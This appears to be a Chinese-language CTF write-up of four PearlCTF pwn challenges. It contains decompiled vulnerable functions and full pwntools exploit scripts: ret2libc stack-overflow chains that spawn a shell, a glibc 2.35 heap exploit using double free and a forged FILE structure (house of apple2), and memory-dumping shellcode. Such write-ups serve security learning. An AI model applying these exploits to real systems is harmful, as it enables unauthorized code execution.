Adventure

这印度的服务器稀烂,打半天打不通

有一个子函数里面存在栈溢出,用libcsearcher打ret2libc就好了

void __cdecl hatchEgg()
{
  char name[20]; // [rsp+0h] [rbp-20h] BYREF

  puts("You wish to hatch the egg!");
  puts("Give the baby dragon a name");
  getchar();
  fflush(stdin);
  gets(name);
  printf("Your dragon is now called %s\n", name);
  printf("You leave the area with %s\n", name);
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30014

elf = context.binary = ELF('./adventure')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()


# 2 - > 1 -> getchar -> gets

rdi = 0x000000000040121e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x401223
ret = 0x000000000040101a

payload = b"a" * (0x20 + 0x8)
payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

# sla("Adventure!","2")
# sla("No","1")

time.sleep(2)
sl("2")
time.sleep(2)
sl("1")


# g(p)
sla("Give the baby dragon a name",payload)

rl()
rl()
rl()
leak = u64(rl()[:-1].ljust(8,b'\x00'))
print(hex(leak))

# 4
libc = libc = LibcSearcher('puts',leak) 
libc_base= leak - libc.dump("puts")
print(hex(libc_base))
binsh = libc_base + libc.dump("str_bin_sh")
system = libc_base + libc.dump("system")


payload = b"a" * (0x20 + 0x8 + 0x1)
payload += p64(rdi) + p64(binsh) + p64(ret) + p64(system)
# g(p)
sla("Give the baby dragon a name",payload)



p.interactive()

babyheap

https://bbs.kanxue.com/thread-273702.htm

https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/#%E5%88%A9%E7%94%A8_io_wfile_overflow%E5%87%BD%E6%95%B0%E6%8E%A7%E5%88%B6%E7%A8%8B%E5%BA%8F%E6%89%A7%E8%A1%8C%E6%B5%81

glibc 2.35,先通过unsortedbin和tcache bin去泄露libc_base和heap_base,然后fastbin double free,打house of apple2,最后exit触发io _IO_flush_all_lockp,然后伪造iofile劫持控制流,2.35中fastbin 和 tcachebin fd next的位置有一个加密,加密的过程是这样的

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

pos 是指存储fd指针的地址,可以通过heap_base 加一个偏移计算出来,所以在double free写fd指针的时候,将fd指针加密再写进去,

e.g.

target = 0x114514
target = (pos >> 12) ^ target

然后关于iofile这个结构体的构造,pwntool中是有很好的解决方法

https://docs.pwntools.com/en/stable/filepointer.html

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  sub_1249(a1, a2, a3);
  while ( 1 )
  {
    puts("\n1. Create note\n2. Delete note\n3. View notes\n4. Exit");
    printf("Enter choice ");
    v3 = sub_1290();
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_13:
      puts("Why would you do that.");
    }
    else if ( v3 == 3 )
    {
      sub_14F1();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        sub_1303();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        sub_147B();
      }
    }
  }
}
int sub_14F1()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Note Index ");
  v1 = sub_1290();
  if ( v1 <= 0xF )
    return puts(*((const char **)&unk_4060 + v1));
  else
    return puts("Invalid note index.");
}
unsigned __int64 sub_1303()
{
  unsigned __int64 size; // [rsp+8h] [rbp-228h]
  unsigned __int64 v2; // [rsp+10h] [rbp-220h]
  void *v3; // [rsp+18h] [rbp-218h]
  unsigned __int64 v4; // [rsp+228h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Note Index ");
  v2 = sub_1290();
  if ( v2 > 0xF )
  {
    puts("Thats an invalid index.");
    exit(1);
  }
  printf("Note Size ");
  size = sub_1290();
  if ( size > 0x200 )
  {
    printf("Thats too long for a single Note!!!");
    exit(1);
  }
  v3 = malloc(size);
  if ( !v3 )
  {
    puts("Failed to malloc. Assuming fatal error.");
    exit(1);
  }
  *((_QWORD *)&unk_4060 + v2) = v3;
  printf("Note Content > ");
  fgets(*((char **)&unk_4060 + v2), size, stdin);
  return v4 - __readfsqword(0x28u);
}
int sub_147B()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Note Index ");
  v1 = sub_1290();
  if ( v1 > 0xF )
    return puts("Invalid note index.");
  free(*((void **)&unk_4060 + v1));
  return puts("Note deleted.");
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "dyn.ctf.pearlctf.in"
PORT = 30010

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create_note(idx,size,content):
    sla("Enter choice ","1")
    sla("Note Index ",str(idx))
    sla("Note Size ",str(size))
    sla("Note Content",content)


def show_note(idx):
    sla("Enter choice ","3")
    sla("Note Index ",str(idx))

def delete_note(idx):
    sla("Enter choice ","2")
    sla("Note Index ",str(idx))


p = connect()


# sl("A")

for i in range(9):
    create_note(i,0x170,"AAAA")

for i in range(8):
    delete_note(i)


show_note(7)


g(p)

ru("> ")
leak = u64(rl()[:-1].ljust(8,b'\x00'))
libc_base = leak - (0x7f32aa619ce0 - 0x7f32aa400000)

print(hex(libc_base))
# g(p)
# libc_base = r_leak_libc_64() - (0x7fa0dc21ace0 - 0x7fa0dc000000)
# success(hex(libc_base))


show_note(0)
ru('> ')
key = u64(rl()[:-1].ljust(8,b'\x00'))
heap_base = key << 12
success(hex(key))
success(hex(heap_base))


for i in range(8):
    create_note(i,0x170,"AAAA")

for i in range(9):
    create_note(i,0x68,"BBBB")

for i in range(7):
    delete_note(i)


delete_note(7)
delete_note(8)
delete_note(7)

for i in range(7):
    create_note(i,0x68,"BBBB")


pos = heap_base +  (0x55dc5d361330 - 0x55dc5d360000)

target = (libc_base + libc.sym["_IO_list_all"])
target = (pos >> 12) ^ target

create_note(7,0x68,p64(target))
create_note(8,0x68,"BBBB")
create_note(7,0x68,"BBBB")



gg0 = heap_base + (0x5639f6e5f410 - 0x5639f6e5e000)
gg1 = heap_base + (0x5639f6e5f620 - 0x5639f6e5e000)

one=[0xebcf1,0xebcf5,0xebcf8]

# io=FileStructure(0)
# io.flags=0
# io.vtable=libc_base+libc.sym["_IO_wfile_jumps"]
# io._wide_data=gg0+0xe0
# io._IO_write_ptr=1
# io._IO_write_base=0
# payload=bytes(io)
# payload2 = 0x68*b"\x00"+p64(libc_base + one[1])

io=FileStructure(0)
io.flags= b" sh"
io.vtable=libc_base+libc.sym["_IO_wfile_jumps"]
io._wide_data=gg0+0xe0
io._IO_write_ptr=1 
io._IO_write_base=0

payload=bytes(io)
payload+=b"\x00"*0xe0+p64(gg1)
system = libc_base + libc.sym['system']
payload2 = 0x68*b"\x00"+p64(system)


create_note(10,0x200,payload)
create_note(11,0x200,payload2)
create_note(7,0x68,p64(gg0))

print("SUCCESS")
# g(p)
sla("Enter choice ","4")


p.interactive()

goingback

其实也是ret2libc,子函数里有一个栈溢出

int sub_40126A()
{
  int v1; // [rsp+Ch] [rbp-24h] BYREF
  char v2[32]; // [rsp+10h] [rbp-20h] BYREF

  printf("Rate your ticket booking experience from 1 to 5: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 == 5 )
  {
    puts("Thank you for the rating");
    puts("We hope you have a great journey");
    exit(0);
  }
  if ( v1 > 4 )
  {
    puts("Invalid rating");
    return puts("Please try again");
  }
  else
  {
    puts("We are sorry for the inconvenience");
    puts("Please help us to improve your future experience");
    getchar();
    fflush(stdin);
    return gets(v2);
  }
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30011

elf = context.binary = ELF('./goingBack')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()

time.sleep(0.5)
sl("nydn")

time.sleep(0.5)
sl("nydn")

time.sleep(0.5)
sl("114514")

time.sleep(0.5)
sl("aabc")

time.sleep(0.5)
sl("1")

time.sleep(0.5)
sl("3")

main = 0x40126A
rdi = 0x0000000000401265
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x000000000040101a

payload = b'a' * (0x20 + 0x8)
payload += p64(rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(main)


sla("experience",payload)

# libc_base = r_leak_libc_64() - libc.sym['puts']
# system = libc_base + libc.sym['system']
# binsh = libc_base + next(libc.search(b'/bin/sh'))


rl()
rl()
rl()

leak = u64(rl()[:-1].ljust(8,b'\x00'))
print(hex(leak))
libc = libc = LibcSearcher('puts',leak)
libc_base= leak - libc.dump("puts")
binsh = libc_base + libc.dump("str_bin_sh")
system = libc_base + libc.dump("system")



payload = b'a' * (0x20 + 0x8)
payload += p64(rdi) + p64(binsh) + p64(ret)
payload += p64(system)

# g(p)
time.sleep(0.5)
sl("3")
sla("experience",payload)



p.interactive()

flag-finder

可以模拟随机数找到flag的基地址,不过,直接把整个页打印出来就好了

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  char *v5; // rax
  __int64 v6; // rbx
  __int64 v7; // rbx
  __int64 v8; // rbx
  char s[8]; // [rsp+10h] [rbp-60h] BYREF
  __int64 v10; // [rsp+18h] [rbp-58h]
  __int64 v11; // [rsp+20h] [rbp-50h]
  __int64 v12; // [rsp+28h] [rbp-48h]
  __int64 v13; // [rsp+30h] [rbp-40h]
  __int64 v14; // [rsp+38h] [rbp-38h]
  char *v15; // [rsp+40h] [rbp-30h]
  int v16; // [rsp+4Ch] [rbp-24h]
  char *v17; // [rsp+50h] [rbp-20h]
  FILE *stream; // [rsp+58h] [rbp-18h]

  sub_4012B6(a1, a2, a3);
  v3 = time(0LL);
  srand(v3);
  stream = fopen("./flag.txt", "r");
  if ( !stream )
  {
    puts("The flag file isn't loading. Please contact an organiser if you are running this on the shell server.");
    exit(0);
  }
  fgets(s, 48, stream);
  v17 = (char *)mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
  if ( !v17 )
    return 1LL;
  v16 = rand() % 4049;
  v5 = &v17[v16];
  v6 = v10;
  *(_QWORD *)v5 = *(_QWORD *)s;
  *((_QWORD *)v5 + 1) = v6;
  v7 = v12;
  *((_QWORD *)v5 + 2) = v11;
  *((_QWORD *)v5 + 3) = v7;
  v8 = v14;
  *((_QWORD *)v5 + 4) = v13;
  *((_QWORD *)v5 + 5) = v8;
  printf("The flag is present in flag land of 0x1000 bytes starting from %p \n", v17);
  v15 = (char *)mmap(0LL, 0x100uLL, 7, 34, 0, 0LL);
  if ( !v15 )
    return 1LL;
  printf("what is your search plan?\n > ");
  fgets(v15, 255, stdin);
  sub_4012FD();
  ((void (*)(void))v15)();
  return 0LL;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30012

elf = context.binary = ELF('./flag-finder')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


# sl("")

ru("from ")
leak_addr = int(r(14),16)
print(hex(leak_addr))


shellcode = asm(f'''
mov rax, 1
mov rdi, 1
mov rsi, {leak_addr}
mov rdx, 0x1000
syscall
''')

ru(" > ")

success("SUCCESS")
# pause()
sl(shellcode)



p.interactive()
⬆︎TOP